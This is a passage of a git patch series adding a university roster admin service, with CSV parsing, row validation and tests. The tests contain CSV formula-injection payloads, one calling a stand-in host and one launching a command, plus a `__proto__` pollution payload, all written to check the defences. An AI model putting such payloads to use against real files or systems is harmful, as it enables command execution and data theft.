outside + * the schema are dropped here so a hostile key such as `__proto__` is never + * copied onto an object; their presence is reported separately. + */ +function cleanRow(raw: Record): { + cleaned: Record; + hasUnknownKey: boolean; +} { + const cleaned: Record = {}; + let hasUnknownKey = false; + for (const [key, value] of Object.entries(raw)) { + if (!KNOWN_COLUMNS.has(key)) { + hasUnknownKey = true; + continue; + } + if (value === null || value === undefined) continue; + if (typeof value === 'string' && value.trim() === '') continue; + cleaned[key] = value; + } + return { cleaned, hasUnknownKey }; +} + +/** Validates each row on its own so one bad row never fails the others. */ +export function validateImportRows(rawRows: readonly RawImportRow[]): RowOutcome[] { + return rawRows.map((raw, position): RowOutcome => { + const row = position + 1; + // The type says object-or-null; this is a boundary, so do not trust it. + if (raw === null || typeof raw !== 'object' || Array.isArray(raw)) { + return { row, ok: false, reason: 'MALFORMED_ROW' }; + } + + const { cleaned, hasUnknownKey } = cleanRow(raw); + if (hasUnknownKey) return { row, ok: false, reason: 'UNKNOWN_FIELD' }; + + const parsed = importStudentRowSchema.safeParse(cleaned); + if (!parsed.success) { + const field = String(parsed.error.issues[0]?.path[0] ?? ''); + const reasons = REASON_BY_FIELD[field]; + const reason = + reasons === undefined + ? 'MALFORMED_ROW' + : cleaned[field] === undefined && reasons.missing !== undefined + ? reasons.missing + : reasons.invalid; + return { row, ok: false, reason }; + } + + const data = parsed.data; + return { + row, + ok: true, + value: { + row, + email: data.email, + program: data.program, + graduationYear: data.graduation_year, + suppliedStudentId: data.student_id !== undefined, + }, + }; + }); +} + +export interface ImportPlan { + /** Valid rows with duplicate emails removed (first occurrence wins), in file order. */ + rows: ValidImportRow[]; + errors: { row: number; reason: ImportRowErrorReason }[]; + duplicates: number; + /** Columns supplied in at least one valid row that the roster has nowhere to store. */ + ignoredFields: ('full_name' | 'student_id')[]; +} + +/** Splits outcomes into rows to apply, row errors and duplicates (by normalized email). */ +export function planImport(outcomes: readonly RowOutcome[]): ImportPlan { + const rows: ValidImportRow[] = []; + const errors: ImportPlan['errors'] = []; + const seen = new Set(); + let duplicates = 0; + let anyValid = false; + let anyStudentId = false; + + for (const outcome of outcomes) { + if (!outcome.ok) { + errors.push({ row: outcome.row, reason: outcome.reason }); + continue; + } + anyValid = true; + anyStudentId ||= outcome.value.suppliedStudentId; + if (seen.has(outcome.value.email)) { + duplicates += 1; + continue; + } + seen.add(outcome.value.email); + rows.push(outcome.value); + } + + const ignoredFields: ImportPlan['ignoredFields'] = []; + if (anyValid) ignoredFields.push('full_name'); + if (anyStudentId) ignoredFields.push('student_id'); + return { rows, errors, duplicates, ignoredFields }; +} diff --git a/services/admin/src/lib/timestamps.ts b/services/admin/src/lib/timestamps.ts new file mode 100644 index 0000000..2dd878c --- /dev/null +++ b/services/admin/src/lib/timestamps.ts @@ -0,0 +1,12 @@ +/** + * drizzle's postgres-js driver returns timestamptz as Postgres prints it + * (`2026-10-27 12:34:56.123456+00`). The API contract is ISO-8601 UTC + * (`isoTimestampSchema`), so normalize at the boundary. + */ +export function toIsoTimestamp(value: string): string { + const parsed = new Date(value); + if (Number.isNaN(parsed.getTime())) { + throw new Error('toIsoTimestamp: not a timestamp'); + } + return parsed.toISOString(); +} diff --git a/services/admin/test/contracts.test.ts b/services/admin/test/contracts.test.ts new file mode 100644 index 0000000..cbe2dc8 --- /dev/null +++ b/services/admin/test/contracts.test.ts @@ -0,0 +1,113 @@ +import { describe, expect, it } from 'vitest'; +import { + ADMIN_MAX_IMPORT_ROWS, + adminFunnelQuerySchema, + adminOrgParamsSchema, + adminStudentParamsSchema, + emptyApplicationStatusCounts, + exportStudentsQuerySchema, + importStudentsRequestSchema, + importStudentsResponseSchema, + listAdminStudentsQuerySchema, + APPLICATION_STATUSES, +} from '@atlas/types'; + +// The schemas other code (the admin UI) consumes. These pin the wire contract. +describe('admin contracts', () => { + it('validates :orgId and :studentId as UUIDs', () => { + const id = '0b6d2a4e-6f43-4a39-9a43-4a1d3c1a8e11'; + expect(adminOrgParamsSchema.safeParse({ orgId: id }).success).toBe(true); + expect(adminOrgParamsSchema.safeParse({ orgId: 'nope' }).success).toBe(false); + expect(adminStudentParamsSchema.safeParse({ orgId: id, studentId: id }).success).toBe(true); + expect(adminStudentParamsSchema.safeParse({ orgId: id, studentId: '1' }).success).toBe(false); + }); + + it('accepts a roster request of 1..5000 well-formed rows and rejects anything else', () => { + const row = { + email: 'Ada@Uni.edu', + full_name: 'Ada', + graduation_year: '2027', + program: 'Maths', + }; + const parsed = importStudentsRequestSchema.safeParse({ rows: [row] }); + expect(parsed.success && parsed.data.rows[0]).toMatchObject({ + email: 'ada@uni.edu', + graduation_year: 2027, + }); + expect(importStudentsRequestSchema.safeParse({ rows: [] }).success).toBe(false); + expect( + importStudentsRequestSchema.safeParse({ + rows: Array.from({ length: ADMIN_MAX_IMPORT_ROWS + 1 }, () => row), + }).success, + ).toBe(false); + expect(importStudentsRequestSchema.safeParse({ rows: [{ ...row, extra: 1 }] }).success).toBe( + false, + ); + expect( + importStudentsRequestSchema.safeParse({ rows: [{ full_name: 'No Email' }] }).success, + ).toBe(false); + }); + + it('describes the import report', () => { + expect( + importStudentsResponseSchema.safeParse({ + total_rows: 3, + created: 1, + updated: 0, + skipped: 1, + skipped_breakdown: { unchanged: 0, duplicate_in_file: 1, no_platform_account: 0 }, + errors: [{ row: 3, reason: 'INVALID_EMAIL' }], + ignored_fields: ['full_name'], + }).success, + ).toBe(true); + expect( + importStudentsResponseSchema.safeParse({ + total_rows: 1, + created: 0, + updated: 0, + skipped: 0, + skipped_breakdown: { unchanged: 0, duplicate_in_file: 0, no_platform_account: 0 }, + errors: [{ row: 1, reason: 'free text with a@b.test in it' }], + ignored_fields: [], + }).success, + ).toBe(false); + }); + + it('coerces and bounds list query parameters', () => { + expect(listAdminStudentsQuerySchema.parse({})).toEqual({ limit: 20 }); + expect( + listAdminStudentsQuerySchema.parse({ + limit: '50', + search: ' ada ', + has_resume: 'true', + application_status: 'offer', + }), + ).toEqual({ limit: 50, search: 'ada', has_resume: true, application_status: 'offer' }); + expect(listAdminStudentsQuerySchema.parse({ search: '' }).search).toBeUndefined(); + expect(listAdminStudentsQuerySchema.safeParse({ limit: '101' }).success).toBe(false); + expect(listAdminStudentsQuerySchema.safeParse({ application_status: 'hired' }).success).toBe( + false, + ); + expect(listAdminStudentsQuerySchema.safeParse({ search: 'x'.repeat(201) }).success).toBe(false); + }); + + it('defaults the export BOM on and validates the funnel range', () => { + expect(exportStudentsQuerySchema.parse({}).bom).toBe(true); + expect(exportStudentsQuerySchema.parse({ bom: 'false' }).bom).toBe(false); + expect(adminFunnelQuerySchema.safeParse({}).success).toBe(true); + expect( + adminFunnelQuerySchema.safeParse({ from: '2026-01-01T00:00:00Z', to: '2026-02-01T00:00:00Z' }) + .success, + ).toBe(true); + expect( + adminFunnelQuerySchema.safeParse({ from: '2026-02-01T00:00:00Z', to: '2026-01-01T00:00:00Z' }) + .success, + ).toBe(false); + }); + + it('builds zero-filled status counts for every real application status', () => { + const counts = emptyApplicationStatusCounts(); + expect(Object.keys(counts)).toEqual([...APPLICATION_STATUSES]); + expect(Object.values(counts).every((count) => count === 0)).toBe(true); + }); +}); diff --git a/services/admin/test/csv.test.ts b/services/admin/test/csv.test.ts new file mode 100644 index 0000000..a8d18fe --- /dev/null +++ b/services/admin/test/csv.test.ts @@ -0,0 +1,150 @@ +import { describe, expect, it } from 'vitest'; +import { CsvParseError, parseCsv } from '../src/lib/csv-parse.js'; +import { UTF8_BOM, csvCell, neutralizeFormula, toCsv } from '../src/lib/csv-write.js'; + +const parse = (text: string, maxRecords = 100) => parseCsv(text, { maxRecords }); + +describe('parseCsv', () => { + it('reads plain records with LF, CRLF and CR separators', () => { + expect(parse('a,b\n1,2\n')).toEqual([ + ['a', 'b'], + ['1', '2'], + ]); + expect(parse('a,b\r\n1,2\r\n')).toEqual([ + ['a', 'b'], + ['1', '2'], + ]); + expect(parse('a,b\r1,2')).toEqual([ + ['a', 'b'], + ['1', '2'], + ]); + }); + + it('handles quotes, escaped quotes, commas and newlines inside quoted fields', () => { + expect(parse('name,note\n"Doe, Jane","said ""hi""\nthen left"\n')).toEqual([ + ['name', 'note'], + ['Doe, Jane', 'said "hi"\nthen left'], + ]); + expect(parse('"a"""\n')).toEqual([['a"']]); + }); + + it('strips a UTF-8 byte-order mark', () => { + expect(parse('email,full_name\nx@y.test,X')).toEqual([ + ['email', 'full_name'], + ['x@y.test', 'X'], + ]); + }); + + it('keeps empty cells, including a trailing delimiter at end of line and end of file', () => { + expect(parse('a,b,c\n1,,3\n4,5,\n')).toEqual([ + ['a', 'b', 'c'], + ['1', '', '3'], + ['4', '5', ''], + ]); + expect(parse('a,b\n1,')).toEqual([ + ['a', 'b'], + ['1', ''], + ]); + }); + + it('drops blank lines and rows made only of empty cells (Excel pads exports with ",,,")', () => { + expect(parse('a,b\n\n,\n , \n1,2\n\n')).toEqual([ + ['a', 'b'], + ['1', '2'], + ]); + }); + + it('reads input with no trailing newline and an empty input', () => { + expect(parse('a,b\n1,2')).toEqual([ + ['a', 'b'], + ['1', '2'], + ]); + expect(parse('')).toEqual([]); + }); + + it('treats a quote inside an unquoted field as a literal character', () => { + expect(parse('5" pipe,x\n')).toEqual([['5" pipe', 'x']]); + }); + + it('fails on an unterminated quote and on text after a closing quote', () => { + expect(() => parse('a,"b\n')).toThrow(CsvParseError); + expect(() => parse('"a"b,c\n')).toThrow( + expect.objectContaining({ failure: 'misplaced_quote' }), + ); + expect(() => parse('a,"b')).toThrow(expect.objectContaining({ failure: 'unterminated_quote' })); + }); + + it('stops as soon as the record limit is exceeded', () => { + expect(parse('a\n1\n2\n', 3)).toHaveLength(3); + expect(() => parse('a\n1\n2\n3\n', 3)).toThrow( + expect.objectContaining({ failure: 'too_many_records' }), + ); + }); + + it('parses a large file in linear time', () => { + const body = Array.from( + { length: 20_000 }, + (_, i) => `u${i}@example.test,"Name ${i}",2026`, + ).join('\n'); + const started = performance.now(); + const records = parse(`email,full_name,graduation_year\n${body}`, 30_000); + expect(records).toHaveLength(20_001); + expect(performance.now() - started).toBeLessThan(2_000); + }); +}); + +describe('csv formula neutralization', () => { + it.each(['=1+1', '+1', '-1', '@SUM(A1)', '\tcmd', '\rcmd', '=HYPERLINK("http://evil.test","x")'])( + 'prefixes a single quote to a cell starting with a formula trigger: %j', + (value) => { + expect(neutralizeFormula(value)).toBe(`'${value}`); + expect(csvCell(value).replace(/^"/, '').startsWith("'")).toBe(true); + }, + ); + + it.each(['', 'plain', 'a=b', 'x+y', ' =lead-space', "'quoted", '0', 'é=1'])( + 'leaves a safe cell alone: %j', + (value) => { + expect(neutralizeFormula(value)).toBe(value); + }, + ); + + it('does not touch numbers and booleans, which the service itself produces', () => { + expect(csvCell(0)).toBe('0'); + expect(csvCell(71.5)).toBe('71.5'); + expect(csvCell(true)).toBe('true'); + expect(csvCell(false)).toBe('false'); + expect(csvCell(null)).toBe(''); + expect(csvCell(undefined)).toBe(''); + expect(csvCell(Number.NaN)).toBe(''); + }); + + it('quotes cells containing delimiters, quotes or line breaks and doubles inner quotes', () => { + expect(csvCell('a,b')).toBe('"a,b"'); + expect(csvCell('say "hi"')).toBe('"say ""hi"""'); + expect(csvCell('two\nlines')).toBe('"two\nlines"'); + expect(csvCell('cr\rhere')).toBe('"cr\rhere"'); + expect(csvCell(' padded ')).toBe('" padded "'); + }); + + it('neutralizes before quoting, so an injected cell stays inert after escaping', () => { + expect(csvCell('=cmd|"/c calc"!A1')).toBe(`"'=cmd|""/c calc""!A1"`); + expect(csvCell('\t=1,2')).toBe(`"'\t=1,2"`); + }); + + it('round-trips awkward text through toCsv and parseCsv', () => { + const values = ['Doe, Jane', 'say "hi"', 'two\nlines', "O'Brien", 'plain', '', 'ünï©ode ✓']; + const csv = toCsv( + ['value'], + values.map((value) => [value]), + ); + const parsed = parseCsv(csv, { maxRecords: 100 }); + // The blank value is a blank line and is dropped by the reader. + expect(parsed.slice(1).map((row) => row[0])).toEqual(values.filter((value) => value !== '')); + }); + + it('writes CRLF-terminated lines and an optional BOM', () => { + expect(toCsv(['a', 'b'], [[1, 'x']])).toBe('a,b\r\n1,x\r\n'); + expect(toCsv(['a'], [], { bom: true })).toBe(`${UTF8_BOM}a\r\n`); + }); +}); diff --git a/services/admin/test/import-rows.test.ts b/services/admin/test/import-rows.test.ts new file mode 100644 index 0000000..122d2ef --- /dev/null +++ b/services/admin/test/import-rows.test.ts @@ -0,0 +1,257 @@ +import { describe, expect, it } from 'vitest'; +import { + ADMIN_MAX_IMPORT_ROWS, + importStudentRowSchema, + IMPORT_ROW_ERROR_REASONS, +} from '@atlas/types'; +import { + csvToRawRows, + jsonToRawRows, + planImport, + validateImportRows, +} from '../src/lib/import-rows.js'; + +const reasons = (rows: unknown[]) => + validateImportRows(rows as never).map((outcome) => (outcome.ok ? 'ok' : outcome.reason)); + +describe('validateImportRows', () => { + it('normalizes a valid row (trim, lower-case email, numeric year from text)', () => { + const [outcome] = validateImportRows([ + { + email: ' Ada.Lovelace@Uni.EDU ', + full_name: ' Ada Lovelace ', + graduation_year: '2027', + program: ' Maths ', + }, + ]); + expect(outcome).toEqual({ + row: 1, + ok: true, + value: { + row: 1, + email: 'ada.lovelace@uni.edu', + program: 'Maths', + graduationYear: 2027, + suppliedStudentId: false, + }, + }); + }); + + it('accepts a numeric graduation year and treats blank / null optional values as absent', () => { + const outcomes = validateImportRows([ + { email: 'a@uni.edu', full_name: 'A', graduation_year: 2026, program: '', student_id: null }, + { email: 'b@uni.edu', full_name: 'B', graduation_year: ' ' }, + ]); + expect(outcomes.every((outcome) => outcome.ok)).toBe(true); + const first = outcomes[0]; + expect(first?.ok && first.value).toMatchObject({ + graduationYear: 2026, + program: undefined, + suppliedStudentId: false, + }); + }); + + it('reports a closed vocabulary of reasons, in column order', () => { + expect( + reasons([ + { full_name: 'No Email' }, + { email: 'not-an-email', full_name: 'Bad Email' }, + { email: 'a@uni.edu' }, + { email: 'b@uni.edu', full_name: 'x'.repeat(201) }, + { email: 'c@uni.edu', full_name: 'C', graduation_year: '20x6' }, + { email: 'd@uni.edu', full_name: 'D', graduation_year: 1900 }, + { email: 'e@uni.edu', full_name: 'E', graduation_year: 2026.5 }, + { email: 'f@uni.edu', full_name: 'F', program: 'x'.repeat(201) }, + { email: 'g@uni.edu', full_name: 'G', student_id: 'y'.repeat(65) }, + { email: 'h@uni.edu', full_name: 'H', surprise: 'x' }, + null, + 'a string', + { email: ['a@uni.edu'], full_name: 'Array Email' }, + { email: 'i@uni.edu', full_name: { first: 'Obj' } }, + ]), + ).toEqual([ + 'MISSING_EMAIL', + 'INVALID_EMAIL', + 'MISSING_FULL_NAME', + 'INVALID_FULL_NAME', + 'INVALID_GRADUATION_YEAR', + 'INVALID_GRADUATION_YEAR', + 'INVALID_GRADUATION_YEAR', + 'INVALID_PROGRAM', + 'INVALID_STUDENT_ID', + 'UNKNOWN_FIELD', + 'MALFORMED_ROW', + 'MALFORMED_ROW', + 'INVALID_EMAIL', + 'INVALID_FULL_NAME', + ]); + }); + + it('only ever produces reasons from the published list', () => { + const outcomes = validateImportRows([null, {}, { email: 'x' }, { foo: 1 }] as never); + for (const outcome of outcomes) { + if (!outcome.ok) expect(IMPORT_ROW_ERROR_REASONS).toContain(outcome.reason); + } + }); + + it('rejects control characters in text fields (CSV/line injection)', () => { + expect( + reasons([ + { email: 'a@uni.edu', full_name: 'Line\nBreak' }, + { email: 'b@uni.edu', full_name: 'Tab\tHere' }, + { email: 'c@uni.edu', full_name: 'Nul\u0000Byte' }, + { email: 'd@uni.edu', full_name: 'Ok', program: 'Carriage\rReturn' }, + ]), + ).toEqual(['INVALID_FULL_NAME', 'INVALID_FULL_NAME', 'INVALID_FULL_NAME', 'INVALID_PROGRAM']); + }); + + it('never echoes submitted values in a reason', () => { + const hostile = ''; + const [outcome] = validateImportRows([{ email: hostile, full_name: 'X' }]); + expect(JSON.stringify(outcome)).not.toContain('script'); + }); + + it('rejects a __proto__ key as an unknown field without polluting anything', () => { + const row = JSON.parse( + '{"email":"a@uni.edu","full_name":"A","__proto__":{"admin":true}}', + ) as Record; + expect(reasons([row])).toEqual(['UNKNOWN_FIELD']); + expect(({} as Record).admin).toBeUndefined(); + }); + + it('keeps the exported strict row schema in step with the service', () => { + expect(importStudentRowSchema.safeParse({ email: 'A@Uni.edu', full_name: 'A' }).data).toEqual({ + email: 'a@uni.edu', + full_name: 'A', + }); + expect( + importStudentRowSchema.safeParse({ email: 'a@uni.edu', full_name: 'A', extra: 1 }).success, + ).toBe(false); + }); +}); + +describe('planImport', () => { + it('dedupes by normalized email (first wins), keeps file order and reports ignored fields', () => { + const plan = planImport( + validateImportRows([ + { email: 'a@uni.edu', full_name: 'A', student_id: 'S1' }, + { email: 'B@uni.edu', full_name: 'B' }, + { email: ' A@UNI.edu', full_name: 'A again', program: 'Later' }, + { email: 'broken', full_name: 'X' }, + ]), + ); + expect(plan.rows.map((row) => row.email)).toEqual(['a@uni.edu', 'b@uni.edu']); + expect(plan.rows[0]?.program).toBeUndefined(); + expect(plan.duplicates).toBe(1); + expect(plan.errors).toEqual([{ row: 4, reason: 'INVALID_EMAIL' }]); + expect(plan.ignoredFields).toEqual(['full_name', 'student_id']); + }); + + it('does not reserve an email for an invalid row', () => { + const plan = planImport( + validateImportRows([ + { email: 'a@uni.edu', full_name: 'A', graduation_year: 1800 }, + { email: 'a@uni.edu', full_name: 'A' }, + ]), + ); + expect(plan.rows).toHaveLength(1); + expect(plan.duplicates).toBe(0); + }); + + it('reports no ignored fields when no row was valid', () => { + expect(planImport(validateImportRows([{ email: 'x' }])).ignoredFields).toEqual([]); + }); +}); + +describe('csvToRawRows', () => { + it('maps header names (case, spaces, hyphens, any order) onto canonical columns', () => { + const rows = csvToRawRows('Full Name,EMAIL,graduation-year\nAda,ada@uni.edu,2027\n'); + expect(rows).toEqual([{ full_name: 'Ada', email: 'ada@uni.edu', graduation_year: '2027' }]); + }); + + it('tolerates a BOM, CRLF, quoted fields and trailing empty cells', () => { + const rows = csvToRawRows('email,full_name\r\n"a@uni.edu","Lovelace, Ada",,\r\n'); + expect(rows).toEqual([{ email: 'a@uni.edu', full_name: 'Lovelace, Ada' }]); + }); + + it('flags a row with extra non-empty cells as malformed instead of misaligning it', () => { + const rows = csvToRawRows('email,full_name\na@uni.edu,A,surprise\nb@uni.edu,B\n'); + expect(rows[0]).toBeNull(); + expect(rows[1]).toEqual({ email: 'b@uni.edu', full_name: 'B' }); + }); + + it('rejects the whole file for structural problems', () => { + const fail = (csv: string) => () => csvToRawRows(csv); + expect(fail('')).toThrow(expect.objectContaining({ code: 'VALIDATION_ERROR' })); + expect(fail('email,full_name\n')).toThrow( + expect.objectContaining({ code: 'VALIDATION_ERROR' }), + ); + expect(fail('email\na@uni.edu\n')).toThrow( + expect.objectContaining({ code: 'VALIDATION_ERROR' }), + ); + expect(fail('email,full_name,password\na@uni.edu,A,x\n')).toThrow( + expect.objectContaining({ code: 'VALIDATION_ERROR' }), + ); + expect(fail('email,email,full_name\na@uni.edu,a@uni.edu,A\n')).toThrow( + expect.objectContaining({ code: 'VALIDATION_ERROR' }), + ); + expect(fail('email,full_name\n"a@uni.edu,A\n')).toThrow( + expect.objectContaining({ code: 'VALIDATION_ERROR' }), + ); + }); + + it('echoes only a bounded, defanged list of unknown header names', () => { + try { + csvToRawRows(`email,full_name,${'x'.repeat(500)}\u0007\na@uni.edu,A,1\n`); + expect.unreachable(); + } catch (error) { + const details = (error as { details: { unknown_columns: string[] } }).details; + expect(details.unknown_columns[0]).toHaveLength(40); + } + }); + + it(`accepts exactly ${ADMIN_MAX_IMPORT_ROWS} data rows and rejects one more with PAYLOAD_TOO_LARGE`, () => { + const make = (count: number) => + `email,full_name\n${Array.from({ length: count }, (_, i) => `u${i}@uni.edu,U${i}`).join('\n')}\n`; + expect(csvToRawRows(make(ADMIN_MAX_IMPORT_ROWS))).toHaveLength(ADMIN_MAX_IMPORT_ROWS); + expect(() => csvToRawRows(make(ADMIN_MAX_IMPORT_ROWS + 1))).toThrow( + expect.objectContaining({ code: 'PAYLOAD_TOO_LARGE' }), + ); + }); +}); + +describe('jsonToRawRows', () => { + it('accepts { rows: [...] } and a bare array', () => { + const row = { email: 'a@uni.edu', full_name: 'A' }; + expect(jsonToRawRows({ rows: [row] })).toEqual([row]); + expect(jsonToRawRows([row])).toEqual([row]); + }); + + it('turns non-object rows into malformed placeholders instead of failing the request', () => { + expect( + jsonToRawRows({ rows: [null, 5, 'x', [], { email: 'a@uni.edu', full_name: 'A' }] }), + ).toEqual([null, null, null, null, { email: 'a@uni.edu', full_name: 'A' }]); + }); + + it('rejects a bad envelope', () => { + const fail = (body: unknown) => () => jsonToRawRows(body); + expect(fail({})).toThrow(expect.objectContaining({ code: 'VALIDATION_ERROR' })); + expect(fail({ rows: 'nope' })).toThrow(expect.objectContaining({ code: 'VALIDATION_ERROR' })); + expect(fail({ rows: [], extra: 1 })).toThrow( + expect.objectContaining({ code: 'VALIDATION_ERROR' }), + ); + expect(fail({ rows: [] })).toThrow(expect.objectContaining({ code: 'VALIDATION_ERROR' })); + expect(fail('rows')).toThrow(expect.objectContaining({ code: 'VALIDATION_ERROR' })); + }); + + it('rejects more than the row cap with PAYLOAD_TOO_LARGE', () => { + const rows = Array.from({ length: ADMIN_MAX_IMPORT_ROWS + 1 }, () => ({ + email: 'a@uni.edu', + full_name: 'A', + })); + expect(() => jsonToRawRows({ rows })).toThrow( + expect.objectContaining({ code: 'PAYLOAD_TOO_LARGE' }), + ); + expect(jsonToRawRows({ rows: rows.slice(1) })).toHaveLength(ADMIN_MAX_IMPORT_ROWS); + }); +}); From db27b3fe4a7d85d7786e00a445db46cf7a37055f Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:19 +0000 Subject: [PATCH 17/91] feat(admin): add admin-service for university roster management New @atlas/admin-service (Fastify + zod + drizzle, Vercel handler entrypoint) serving /v1/admin/organizations/:orgId: paginated student list with search and filters, student detail, idempotent CSV/JSON roster import (max 5,000 rows), funnel aggregates with an optional date range, and a bounded CSV export. Every import and export writes a PII-free audit_logs entry. Authorization comes from organization_members, not token claims: non-members get 404 (never confirming another tenant), members who are not owner/admin or whose org is not a university get 403. Activity-derived data is shown only for students who are also org members. No schema changes; roster entries for emails with no platform account are reported as skipped because students.user_id is NOT NULL. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- pnpm-lock.yaml | 49 ++ services/admin/package.json | 29 + services/admin/src/app.ts | 159 +++++ services/admin/src/env.ts | 28 + services/admin/src/http/guard.ts | 87 +++ .../admin/src/http/routes/export-students.ts | 77 +++ services/admin/src/http/routes/funnel.ts | 29 + services/admin/src/http/routes/get-student.ts | 27 + services/admin/src/http/routes/health.ts | 17 + .../admin/src/http/routes/import-students.ts | 147 +++++ .../admin/src/http/routes/list-students.ts | 24 + services/admin/src/index.ts | 36 + services/admin/src/limits.ts | 12 + services/admin/src/repo/audit.ts | 38 ++ services/admin/src/repo/funnel.ts | 149 +++++ services/admin/src/repo/idempotency.ts | 103 +++ services/admin/src/repo/import.ts | 142 ++++ services/admin/src/repo/membership.ts | 37 ++ services/admin/src/repo/roster.ts | 286 ++++++++ services/admin/test/authz.test.ts | 241 +++++++ services/admin/test/entrypoint.test.ts | 172 +++++ services/admin/test/export.test.ts | 357 ++++++++++ services/admin/test/funnel.test.ts | 318 +++++++++ services/admin/test/import.test.ts | 618 ++++++++++++++++++ services/admin/test/logging.test.ts | 67 ++ services/admin/test/ratelimit.test.ts | 121 ++++ services/admin/test/students.test.ts | 425 ++++++++++++ services/admin/test/support.ts | 347 ++++++++++ services/admin/tsconfig.json | 8 + 29 files changed, 4150 insertions(+) create mode 100644 services/admin/package.json create mode 100644 services/admin/src/app.ts create mode 100644 services/admin/src/env.ts create mode 100644 services/admin/src/http/guard.ts create mode 100644 services/admin/src/http/routes/export-students.ts create mode 100644 services/admin/src/http/routes/funnel.ts create mode 100644 services/admin/src/http/routes/get-student.ts create mode 100644 services/admin/src/http/routes/health.ts create mode 100644 services/admin/src/http/routes/import-students.ts create mode 100644 services/admin/src/http/routes/list-students.ts create mode 100644 services/admin/src/index.ts create mode 100644 services/admin/src/limits.ts create mode 100644 services/admin/src/repo/audit.ts create mode 100644 services/admin/src/repo/funnel.ts create mode 100644 services/admin/src/repo/idempotency.ts create mode 100644 services/admin/src/repo/import.ts create mode 100644 services/admin/src/repo/membership.ts create mode 100644 services/admin/src/repo/roster.ts create mode 100644 services/admin/test/authz.test.ts create mode 100644 services/admin/test/entrypoint.test.ts create mode 100644 services/admin/test/export.test.ts create mode 100644 services/admin/test/funnel.test.ts create mode 100644 services/admin/test/import.test.ts create mode 100644 services/admin/test/logging.test.ts create mode 100644 services/admin/test/ratelimit.test.ts create mode 100644 services/admin/test/students.test.ts create mode 100644 services/admin/test/support.ts create mode 100644 services/admin/tsconfig.json diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 47a225a..a134e7c 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -280,6 +280,55 @@ importers: specifier: ^4.4.3 version: 4.4.3 + services/admin: + dependencies: + '@atlas/auth-kit': + specifier: workspace:* + version: link:../../packages/auth-kit + '@atlas/config': + specifier: workspace:* + version: link:../../packages/config + '@atlas/db': + specifier: workspace:* + version: link:../../packages/db + '@atlas/observability': + specifier: workspace:* + version: link:../../packages/observability + '@atlas/types': + specifier: workspace:* + version: link:../../packages/types + '@atlas/utils': + specifier: workspace:* + version: link:../../packages/utils + '@fastify/cors': + specifier: ^11.3.0 + version: 11.3.0 + '@fastify/rate-limit': + specifier: ^11.2.0 + version: 11.2.0 + drizzle-orm: + specifier: ^0.45.2 + version: 0.45.2(@opentelemetry/api@1.9.1)(postgres@3.4.9) + fastify: + specifier: ^5.12.5 + version: 5.12.5 + postgres: + specifier: ^3.4.9 + version: 3.4.9 + zod: + specifier: ^4.4.3 + version: 4.4.3 + devDependencies: + jose: + specifier: ^6.2.12 + version: 6.2.12 + pino: + specifier: ^10.3.1 + version: 10.3.1 + tsx: + specifier: ^4.23.1 + version: 4.23.3 + services/analytics: dependencies: '@atlas/auth-kit': diff --git a/services/admin/package.json b/services/admin/package.json new file mode 100644 index 0000000..dc808e2 --- /dev/null +++ b/services/admin/package.json @@ -0,0 +1,29 @@ +{ + "name": "@atlas/admin-service", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "dev": "tsx --env-file=../../.env watch src/index.ts", + "start": "tsx src/index.ts" + }, + "dependencies": { + "@atlas/auth-kit": "workspace:*", + "@atlas/config": "workspace:*", + "@atlas/db": "workspace:*", + "@atlas/observability": "workspace:*", + "@atlas/types": "workspace:*", + "@atlas/utils": "workspace:*", + "@fastify/cors": "^11.3.0", + "@fastify/rate-limit": "^11.2.0", + "drizzle-orm": "^0.45.2", + "fastify": "^5.12.5", + "postgres": "^3.4.9", + "zod": "^4.4.3" + }, + "devDependencies": { + "jose": "^6.2.12", + "pino": "^10.3.1", + "tsx": "^4.23.1" + } +} diff --git a/services/admin/src/app.ts b/services/admin/src/app.ts new file mode 100644 index 0000000..5bb50cc --- /dev/null +++ b/services/admin/src/app.ts @@ -0,0 +1,159 @@ +import cors from '@fastify/cors'; +import rateLimit from '@fastify/rate-limit'; +import Fastify, { type FastifyBaseLogger, type FastifyError, type FastifyInstance } from 'fastify'; +import type postgres from 'postgres'; +import { ZodError } from 'zod'; +import type { TokenVerifierConfig } from '@atlas/auth-kit'; +import { parseCorsOrigins } from '@atlas/config'; +import type { Database } from '@atlas/db'; +import type { ErrorCode } from '@atlas/types'; +import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; +import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import type { AdminServiceEnv } from './env.js'; +import type { ServiceLimits } from './limits.js'; +import { exportStudentsRoute } from './http/routes/export-students.js'; +import { funnelRoute } from './http/routes/funnel.js'; +import { getStudentRoute } from './http/routes/get-student.js'; +import { healthRoute } from './http/routes/health.js'; +import { importStudentsRoute } from './http/routes/import-students.js'; +import { listStudentsRoute } from './http/routes/list-students.js'; + +export interface AppDeps { + db: Database; + sql: postgres.Sql; + env: AdminServiceEnv; + logger: Logger; + tokenVerifier: TokenVerifierConfig; + /** Overrides for the service caps. Tests adjust them; production uses the defaults. */ + limits?: ServiceLimits; +} + +const STATUS_TO_CODE: Partial> = { + 400: 'VALIDATION_ERROR', + 413: 'PAYLOAD_TOO_LARGE', + 415: 'UNSUPPORTED_MEDIA_TYPE', + 429: 'RATE_LIMITED', +}; + +/** + * Fastify's default `req` log serializer records the full URL. Here the query + * string carries search terms, which are often email addresses and names, so it + * is dropped before it can reach stdout or a log pipeline (docs/09 § Data + * protection). The path stays: it holds only organization and student UUIDs. + */ +export function serializeRequestForLog(request: { + method?: string; + url?: string; + host?: string; + ip?: string; + socket?: { remotePort?: number }; +}) { + const url = request.url ?? ''; + const queryStart = url.indexOf('?'); + return { + method: request.method, + url: queryStart === -1 ? url : `${url.slice(0, queryStart)}?[redacted]`, + host: request.host, + remoteAddress: request.ip, + remotePort: request.socket?.remotePort, + }; +} + +export function buildApp(deps: AppDeps): FastifyInstance { + const app = Fastify({ + // See services/auth/src/app.ts for why this cast is needed: pino's Logger + // type and Fastify's FastifyBaseLogger disagree on a structural detail + // that doesn't matter at runtime. + loggerInstance: deps.logger.child( + {}, + { serializers: { req: serializeRequestForLog } }, + ) as unknown as FastifyBaseLogger, + bodyLimit: deps.env.BODY_LIMIT_BYTES, + trustProxy: true, + genReqId: () => 